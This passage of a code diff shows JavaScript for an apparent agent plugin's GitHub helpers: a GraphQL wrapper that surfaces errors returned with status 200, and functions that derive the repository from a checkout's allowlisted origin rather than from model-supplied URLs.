459
|
+
*
|
|
460
|
+
* **A failed GraphQL query answers `200`.** The errors are in the body, so
|
|
461
|
+
* `response.ok` means only that the request was understood — a caller reading
|
|
462
|
+
* `data` straight through reports a permission failure, a bad node id or a
|
|
463
|
+
* malformed query as an empty result, which reads to the model as "there is
|
|
464
|
+
* nothing there" and is acted on accordingly. That is the whole reason this
|
|
465
|
+
* wrapper exists rather than each caller posting to `/graphql` itself.
|
|
466
|
+
*
|
|
467
|
+
* What needs it is what REST cannot express: resolving a review thread has no
|
|
468
|
+
* REST equivalent at all, the threads themselves are not on the issue timeline
|
|
469
|
+
* `repo_issue_view` reads, and a review *request* naming an app is invisible to
|
|
470
|
+
* REST — see {@link file://./tools-review.ts REVIEW_REQUESTS_QUERY}.
|
|
471
|
+
*/
|
|
472
|
+
const githubGraphql = async (tool, query, variables) => {
|
|
473
|
+
const answered = await githubAt(tool, graphqlUrl, {
|
|
474
|
+
method: "POST",
|
|
475
|
+
body: { query, variables }
|
|
476
|
+
});
|
|
477
|
+
if (!answered.ok)
|
|
478
|
+
return answered;
|
|
479
|
+
const body = answered.data;
|
|
480
|
+
if (body.errors && body.errors.length > 0) {
|
|
481
|
+
const detail = body.errors
|
|
482
|
+
.map((e) => e?.message ?? "unknown error")
|
|
483
|
+
.join("; ");
|
|
484
|
+
logFailure(tool, { stderr: detail });
|
|
485
|
+
return {
|
|
486
|
+
ok: false,
|
|
487
|
+
message: `${graphqlUrl} refused the query: ${detail.slice(0, 500)}`
|
|
488
|
+
};
|
|
489
|
+
}
|
|
490
|
+
return { ok: true, data: body.data };
|
|
491
|
+
};
|
|
492
|
+
/**
|
|
493
|
+
* Which repository the tools that read GitHub are talking about.
|
|
494
|
+
*
|
|
495
|
+
* The checkout's own origin, never a URL the model supplies. Three reasons, in
|
|
496
|
+
* order of how much they matter: the origin has already been through the host
|
|
497
|
+
* allowlist, there is nothing new to validate; a model that can name any
|
|
498
|
+
* repository here can read any repository the token can, which is precisely
|
|
499
|
+
* the reach this plugin does not want to widen; and an agent asking about
|
|
500
|
+
* "issue 42" almost always means the repository it is working in, so the extra
|
|
501
|
+
* parameter would mostly be an extra way to be wrong.
|
|
502
|
+
*/
|
|
503
|
+
const githubRepo = async (dir) => {
|
|
504
|
+
const { remote, unreachable } = await origin(dir);
|
|
505
|
+
if (unreachable)
|
|
506
|
+
return { refusal: bounded(unreachable) };
|
|
507
|
+
if (!remote)
|
|
508
|
+
return {
|
|
509
|
+
refusal: `${dir} has no origin on an allowed host — clone it with repo_clone first`
|
|
510
|
+
};
|
|
511
|
+
const parsed = parseRepo(remote.url, allowedHosts);
|
|
512
|
+
if (!parsed)
|
|
513
|
+
return {
|
|
514
|
+
refusal: `could not parse an owner/repo out of ${dir}'s origin`
|
|
515
|
+
};
|
|
516
|
+
return {
|
|
517
|
+
owner: encodeURIComponent(parsed.owner),
|
|
518
|
+
repo: encodeURIComponent(parsed.repo)
|
|
519
|
+
};
|
|
520
|
+
};
|
|
521
|
+
/**
|
|
522
|
+
* The origin a checkout was cloned from, re-derived rather than remembered.
|
|
523
|
+
*
|
|
524
|
+
* `repo_push` needs to know which host to offer the credential to, and the
|
|
525
|
+
* only trustworthy answer is the one recorded in the checkout itself — which
|
|
526
|
+
* `repo_clone` only ever writes after the allowlist has passed.
|
|
527
|
+
*/
|
|
528
|
+
const origin = async (dir) => {
|
|
529
|
+
let url;
|
|
530
|
+
if (config.git.origin) {
|
|
531
|
+
let read;
|
|
532
|
+
try {
|
|
533
|
+
read = await config.git.origin(dir);
|
|
534
|
+
}
|
|
535
|
+
catch (err) {
|
|
536
|
+
return {
|
|
537
|
+
unreachable: `the workspace could not be reached to read ${dir}'s origin: ${String(err)}`
|
|
538
|
+
};
|
|
539
|
+
}
|
|
540
|
+
if (!read)
|
|
541
|
+
return {};
|
|
542
|
+
url = read.trim();
|
|
543
|
+
}
|
|
544
|
+
else {
|
|
545
|
+
const result = await plain("remote get-url origin", dir);
|
|
546
|
+
// Two different nothings. `repo_push`'s answer to "no origin here" is to
|
|
547
|
+
// tell the model to clone the repository first — advice that is actively
|
|
548
|
+
// wrong when the truth is that no command ran at all.
|
|
549
|
+
if (result.unreachable)
|
|
550
|
+
return { unreachable: result.stderr };
|
|
551
|
+
if (!result.success)
|
|
552
|
+
return {};
|
|
553
|
+
url = result.stdout.trim();
|
|
554
|
+
}
|
|
555
|
+
const location = repoLocation(url);
|
|
556
|
+
if (!location || !allowedHosts.includes(location.host))
|
|
557
|
+
return {};
|
|
558
|
+
// The URL as well as the host: the credentialed operations run on the
|
|
559
|
+
// host's side of the boundary and take the repository as a parameter, so
|
|
560
|
+
// `origin` is a name that means nothing to them. The URL has to travel —
|
|
561
|
+
// canonicalised, since what git hands back is whatever was written into
|
|
562
|
+
// `.git/config`.
|
|
563
|
+
return { remote: { host: location.host, url: location.url } };
|
|
564
|
+
};
|
|
565
|
+
return {
|
|
566
|
+
config,
|
|
567
|
+
workdir,
|
|
568
|
+
author,
|
|
569
|
+
allowedHosts,
|
|
570
|
+
bounded,
|
|
571
|
+
notifyCheckout,
|
|
572
|
+
logFailure,
|
|
573
|
+
plain,
|
|
574
|
+
runGit,
|
|
575
|
+
fetchOrigin,
|
|
576
|
+
pushBranch,
|
|
577
|
+
origin,
|
|
578
|
+
github,
|
|
579
|
+
githubGraphql,
|
|
580
|
+
githubRepo
|
|
581
|
+
};
|
|
582
|
+
}
|